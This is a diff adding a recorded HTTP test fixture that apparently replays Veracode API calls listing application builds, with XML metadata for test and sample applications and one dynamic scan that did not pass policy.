+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:06:31 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:06:32 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:06:33 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:07:50 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
